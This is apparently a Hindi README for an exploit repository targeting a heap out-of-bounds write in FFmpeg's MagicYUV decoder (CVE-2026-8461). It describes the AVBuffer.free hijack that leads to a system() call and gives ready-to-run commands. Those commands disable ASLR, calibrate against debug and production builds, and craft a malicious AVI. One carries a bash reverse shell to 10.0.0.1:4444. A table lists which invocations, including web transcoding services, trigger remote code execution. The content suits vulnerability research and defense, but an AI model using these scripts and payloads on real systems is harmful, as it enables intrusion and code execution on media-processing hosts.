
FFmpeg MagicYUV हीप OOB राइट (CVE-2026-8461) के लिए काम करने वाला एक्सप्लॉइट PoC, जिसमें डीबग और प्रोडक्शन बिल्ड्स के लिए स्वचालित कैलिब्रेशन स्क्रिप्ट्स शामिल हैं, जो AVBuffer.free हाइजैक के माध्यम से कमांड इंजेक्शन सक्षम करता है।
[!चेतावनी] इस रिपॉजिटरी में heap corruption भेद्यता के लिए एक कार्यशील exploit PoC है। यह केवल अधिकृत सुरक्षा अनुसंधान, CTF संदर्भों और रक्षात्मक विश्लेषण के लिए है। उन प्रणालियों पर उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
प्रभावित: FFmpeg 8.0.1 MagicYUV डिकोडर (libavcodec/magicyuv.c)
प्राइमिटिव: Heap OOB लिखें → AVBuffer.free हाईजैक → system() कॉल
magy_decode_slice() Cb/Cr आउटपुट प्लेन में लिखने के लिए लूप बाउंड के रूप में sheight (अनक्लैम्प्ड स्लाइस ऊंचाई) का उपयोग करता है, लेकिन क्लैम्प्ड height का उपयोग करके बफर आवंटित करता है। विशेष रूप से तैयार किए गए फ्रेम की अंतिम स्लाइस पर, लूप आवंटित क्षेत्र के अंत से परे लिखता है।
// magicyuv.c:291 — dst पॉइंटर पहले से ही sheight×stride बफर शुरू करने के बाद है
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // OOB लिखें जब sheight > height
आउट-ऑफ-बाउंड लिखने से बाद में आवंटित AVBuffer संरचना में उतरता है। लिखे गए बाइट्स को नियंत्रित करके, AVBuffer.free को system() के पते से और AVBuffer.opaque को हीप पर कमांड स्ट्रिंग के पते से ओवरराइट किया जाता है। जब फ्रेम मुक्त किया जाता है, तो av_buffer_unref() system(cmd) को कॉल करता है।
पूर्ण तकनीकी लेख: अंग्रेज़ी · 中文
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR अक्षम — कैलिब्रेशन के लिए आवश्यक)
Python निर्भरताएँ: कोई नहीं (केवल stdlib)।
sudo sysctl -w kernel.randomize_va_space=0
डिबग बिल्ड (-g के साथ संकलित, जैसे --enable-debug के साथ स्रोत से):
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
प्रोडक्शन बिल्ड (स्ट्रिप किया गया शेयर्ड-लाइब्रेरी, जैसे apt install ffmpeg या कस्टम --enable-shared):
python3 auto_calibrate_nosym.py \
--ffmpeg /path/to/ffmpeg \
--libpath /path/to/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
--aviपथ कैलिब्रेशन और एक्सप्लॉइट डिलीवरी के बीच समान होना चाहिए। पथ स्ट्रिंग की लंबाई बदलने से हीप लेआउट बदल जाता है और कैलिब्रेशन अमान्य हो जाता है।
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
# डिबग बिल्ड (स्टैटिकली लिंक्ड)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -
# प्रोडक्शन बिल्ड (शेयर्ड-लाइब्रेरी)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -
# सिस्टम-स्थापित FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
अपेक्षित आउटपुट: कमांड निष्पादित होती है, फिर प्रक्रिया corrupted size vs. prev_size के साथ क्रैश हो जाती है।
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
लक्ष्य FFmpeg बाइनरी
│
├─ क्या डिबग प्रतीक हैं? (file ffmpeg | grep debug_info)
│ └─ हाँ → auto_calibrate.py
│
└─ स्ट्रिप / प्रोडक्शन
│
├─ डायनामिकली लिंक्ड? (ldd ffmpeg | grep libavutil)
│ └─ हाँ → auto_calibrate_nosym.py
│
└─ स्थैतिक रूप से लिंक्ड + पूरी तरह से स्ट्रिप
└─ कोई भी स्क्रिप्ट लागू नहीं होती
(LD_PRELOAD malloc हुक दृष्टिकोण की आवश्यकता है)
auto_calibrate_nosym.py इस प्रकार काम करता है:
av_buffer_create पर ब्रेक करना (हमेशा libavutil.so .dynsym में मौजूद), स्रोत-स्तर के प्रतीकों की आवश्यकता नहीं है।AVBuffer संरचना का पता लगाने और system() पता निकालने के लिए परिणामी हीप डंप को चलना।एक्सप्लॉइट तब फायर होता है जब लक्ष्य वीडियो फ्रेम को डिकोड करता है (सिर्फ प्रोब नहीं करता):
कमांड निष्पादित किए बिना भेद्यता प्रदर्शित करने के लिए:
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# क्रैश: free(): invalid pointer या corrupted size vs. prev_size
AVBuffer संरचना Cb प्लेन OOB प्रारंभ पते के 640 बाइट्स के भीतर आती है। aarch64 पर, glibc आवंटन क्रम AVBuffer को उस सीमा से परे रखता है (आसन्न हिस्सा ~10 KB Cr बफर है), इसलिए OOB लिखने से वर्तमान फ्रेम ज्यामिति के साथ उस तक नहीं पहुँचा जा सकता है। aarch64 पर पोर्ट करने के लिए aarch64 हीप लेआउट का प्रोफाइलिंग और तदनुसार फ्रेम ज्यामिति को समायोजित करना आवश्यक है।kernel.randomize_va_space=0)। ASLR सक्षम होने पर, हीप पते प्रति-रन यादृच्छिक होते हैं और कैलिब्रेशन लागू नहीं होता है। ASLR-सक्षम लक्ष्यों पर इसे विस्तारित करने के लिए एक सूचना-लीक प्राइमिटिव की आवश्यकता होगी।auto_calibrate_nosym.py: एक डायनामिकली लिंक्ड FFmpeg की आवश्यकता है जहाँ libavutil.so सुलभ हो (सिस्टम पथों में या --libpath के माध्यम से)।| फ़ाइल | विवरण |
|---|
exploit_cve_2026_8461.py | एक्सप्लॉइट AVI जनरेटर — दुर्भावनापूर्ण MagicYUV बिटस्ट्रीम तैयार करता है |
auto_calibrate.py | डिबग बिल्ड के लिए ऑटो-कैलिब्रेशन (-g डिबग प्रतीकों की आवश्यकता है) |
auto_calibrate_nosym.py | प्रोडक्शन बिल्ड के लिए ऑटो-कैलिब्रेशन (स्ट्रिप किया गया, शेयर्ड-लाइब्रेरी) |
CVE-2026-8461_Analysis_EN.md | पूर्ण भेद्यता विश्लेषण (अंग्रेज़ी) |
CVE-2026-8461_Analysis.md | पूर्ण भेद्यता विश्लेषण (中文) |
ffmpeg_prod | स्थानीय परीक्षण के लिए स्ट्रिप किया गया प्रोडक्शन FFmpeg 8.0.1 बाइनरी |
| आह्वान | RCE ट्रिगर करता है |
|---|
ffmpeg -i evil.avi -f null - | हाँ |
ffmpeg -i evil.avi -o out.mp4 | हाँ |
| वेब ट्रांसकोडिंग सेवा (libavcodec डिकोड लूप) | हाँ |
| libavcodec का उपयोग करने वाला वीडियो प्लेयर | हाँ |
ffmpeg -i evil.avi (कोई आउटपुट निर्दिष्ट नहीं) | नहीं — av_buffer_unref फायर होने से पहले प्रक्रिया समाप्त हो जाती है |
ffprobe evil.avi | नहीं — प्रोब-ओनली पथ, कोई पूर्ण डिकोड नहीं |